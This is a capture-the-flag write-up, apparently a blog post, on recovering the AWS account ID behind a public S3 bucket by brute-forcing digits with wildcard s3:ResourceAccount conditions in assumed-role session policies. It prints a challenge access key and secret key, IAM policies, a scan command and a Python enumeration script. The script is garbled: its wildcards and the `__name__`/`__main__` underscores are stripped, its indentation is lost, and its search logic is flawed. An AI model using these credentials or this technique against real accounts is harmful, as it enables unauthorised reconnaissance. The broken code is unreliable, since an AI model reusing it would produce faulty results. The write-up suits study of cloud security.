Identify the AWS Account ID from a Public S3 Bucket
b
Get account ID using S3
entrypoint:
IP address: 54.204.171.32
Access Key ID: AKIAWHEOTHRFW4CEP7HK
Secret key: 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
Port 80 of 54.204.171.32 opens the web site. Visit the site to view the js source code, which is available for public reading in S3.

mega-big-tech.s3.amazonaws.comThere is no valid information, use‣Try blasting the ID
Blasting principle:
Use wildcards to blast the id and verify the return by whether it is Allowed.
Explosive requirements:
Any aws account,
via ARN(987654321098)createRole trust policy and permission policy, they will bear the binding
Permission policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::471112733333:role/s3"
}
]
}role trust strategy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::471112733333:user/ctf-s3"
},
"Action": "sts:AssumeRole"
}
]
}Then bind s3 permissions
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enum",
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::mega-big-tech/*"
},
{
"Sid": "Enum1",
"Effect": "Allow",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3::987654321098:mega-big-tech"
}
]
}Then create a security credential cli rule and copy the key

Then scan it
s3-account-search arn:aws:iam::471112733333:role/s3 s3://mega-big-tech

flag is107513503799
Later, you can learn about tari's articles by accessing the public snapshot:Identify the AWS Account ID from a Public S3 Bucket,b | tari Blog
Here we use the bisection method to reduce the calculation speed by bisecting the source code.
First calculate the original time spent
$command = "s3-account-search arn:aws:iam::471112733333:role/s3 s3://mega-big-tech"
$startTime = Get-Date
$output = Invoke-Expression $command
$endTime = Get-Date
$elapsedTime = $endTime - $startTime
Write-Output "Command output:"
Write-Output $output
Write-Output "Command took $($elapsedTime.TotalSeconds) seconds to complete."
Almost 173s. Of course, this is enough for actual combat.
The following is a little improved code, the effect is acceptable
#!/usr/bin/env python
import sys
from argparse import ArgumentParser
from typing import Tuple, Optional
import boto3 as boto3
from aws_assume_role_lib import assume_role
from botocore.exceptions import ClientError
def run():
parser = ArgumentParser()
parser.add_argument("--profile", help="Source Profile")
parser.add_argument(
"role_arn",
help="ARN of the role to assume. This role should have s3:GetObject and/or s3:ListBucket permissions",
)
parser.add_argument("path", help="s3 bucket or bucket/path to test with")
args = parser.parse_args()
session = boto3.Session(profile_name=args.profile)
bucket, key = to_s3_args(args.path)
role_arn = args.role_arn
# try accessing the bucket without any restrictions
if not can_access_with_policy(session, bucket, key, role_arn, {}):
print(f"{role_arn} cannot access {bucket}", file=sys.stderr)
exit(1)
print("Starting search (this can take a while)")
digits = ""
# do 12 iterations, so we never have an infinite loop
for _ in range(0, 12):
new_digit = binary_search_digit(session, bucket, key, role_arn, digits)
if new_digit is None:
print("Something went wrong, we couldn't find all 12 digits")
exit(1)
digits += new_digit
print(f"Current digits: {digits}")
print(f"Found account ID prefix: {digits}")
def binary_search_digit(
session: boto3.session.Session,
bucket: str,
key: Optional[str],
role_arn: str,
current_digits: str,
) -> Optional[str]:
low, high = 0, 9
while low <= high:
mid = (low + high) // 2
test = f"{current_digits}{mid}"
policy = get_policy(test)
if can_access_with_policy(session, bucket, key, role_arn, policy):
print(f"Found: {test}")
return str(mid)
else:
# If mid is not valid, check if the next digit is valid
next_test = f"{current_digits}{mid + 1}"
next_policy = get_policy(next_test)
if can_access_with_policy(session, bucket, key, role_arn, next_policy):
print(f"Found: {next_test}")
return str(mid + 1)
else:
high = mid - 1
return None
def get_policy(digits: str):
return {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowResourceAccount",
"Effect": "Allow",
"Action": "s3:",
"Resource": "",
"Condition": {
"StringLike": {"s3:ResourceAccount": [f"{digits}*"]},
},
},
],
}
def can_access_with_policy(
session: boto3.session.Session,
bucket: str,
key: Optional[str],
role_arn: str,
policy: dict,
):
if not policy:
assumed_role_session = assume_role(session, role_arn)
else:
assumed_role_session = assume_role(session, role_arn, Policy=policy)
s3 = assumed_role_session.client("s3")
if key:
try:
s3.head_object(Bucket=bucket, Key=key)
return True
except ClientError as e:
if e.response.get("Error", {}).get("Code") == "403":
pass # try the next thing
else:
raise
try:
s3.head_bucket(Bucket=bucket)
return True
except ClientError as e:
if e.response.get("Error", {}).get("Code") == "403":
pass # continue to default return False
else:
raise
return False
def to_s3_args(path: str) -> Tuple[str, Optional[str]]:
if path.startswith("s3://"):
path = path[5:]
assert path, "no bucket name provided"
parts = path.split("/")
if len(parts) > 1:
return parts[0], "/".join(parts[1:])
# exactly 1 part
return parts[0], None
if name == "main":
run()
Comments (0)
Login to post a comment.